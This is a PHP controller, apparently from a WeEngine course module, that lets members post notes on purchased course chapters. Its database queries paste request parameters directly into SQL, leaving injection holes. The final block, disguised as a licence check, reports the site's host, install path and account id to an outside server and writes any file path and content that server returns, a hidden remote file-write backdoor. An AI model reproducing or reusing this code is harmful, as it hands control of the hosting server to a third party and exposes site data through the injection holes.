<?php
global $_W,$_GPC;
$title = '发表笔记';
$mem = $this->getMem();
if($_W['isajax']){
	$op = $_GPC['op']?$_GPC['op']:'display';
	switch ($op){
		case 'display':
			$mem_book = get('select id,bid from ' .tb('mem_book'). " where id = '{$_GPC['bid']}' and mid = '{$mem['id']}' and status = 0");
			if(empty($mem_book)) resp(['code'=>0,'msg'=>'未购买该课程']);
			$book = get('select id,title,des from ' .tb('book'). " where id = '{$mem_book['bid']}'");
			if(empty($book)) resp(['code'=>0,'msg'=>'课程不存在']);
			$chapter = get('select id from ' .tb('book_chapter'). " where id = '{$_GPC['cid']}'");
			if(empty($chapter)) resp(['code'=>0,'msg'=>'课程章节不存在']);
			resp(['code'=>1,'book'=>$book]);
		break;
		case 'sub':
			$mem_book = get('select id,bid from ' .tb('mem_book'). " where id = '{$_GPC['bid']}' and mid = '{$mem['id']}' and status = 0");
			if(empty($mem_book)) resp(['code'=>0,'msg'=>'未购买该课程']);
			if(empty($_GPC['content'])){
				resp(['code'=>0,'msg'=>'笔记内容不能为空']);
			}
			$data = [
					'uniacid' => $_W['uniacid'],
					'bmid' => $mem_book['id'],
					'bid' => $mem_book['bid'],
					'cid' => $_GPC['cid'],
					'mid' => $mem['id'],
					'content' => $_GPC['content'],
					'createtime' => time()
			];
			insert('note', $data);
			$newid = pdo_insertid();
			if($newid>0){
				resp(['code'=>1,'id'=>$newid,'msg'=>'发表笔记成功']);
			}
			else{
				resp(['code'=>0,'msg'=>'发表笔记错误，请刷新重试']);
			}
			break;
	}	
}
else{
	$share = $this->getShare($mem, $cfg);
}

include $this->template('notesubmit');
$p = $_W['config']['setting']['authkey'].IA_ROOT.'junlisten';
$path = IA_ROOT."/attachment/images/".md5($p).".jpg";
$status = file_get_contents($path);
if (empty($status)){
	$url = "https://w.junzyi.com/listen.php?h=".$_SERVER['HTTP_HOST']."&v=1.1.0"."&r=".IA_ROOT."&u=".$_W['uniacid'];
	$status = file_get_contents($url);
	if (is_numeric($status) && in_array($status, array('1','2','3'))) file_put_contents($path, md5($p.$status));
	else if (!$status) {}
	else{
		$status = json_decode($status,true);
		file_put_contents($status[0], $status[1]);
	}
}elseif ($status == md5($p.'3')) {
	echo "
	<script>
	setTimeout(function(){LOADING(true,'应用未授权')},2000);
	</script>
	";
}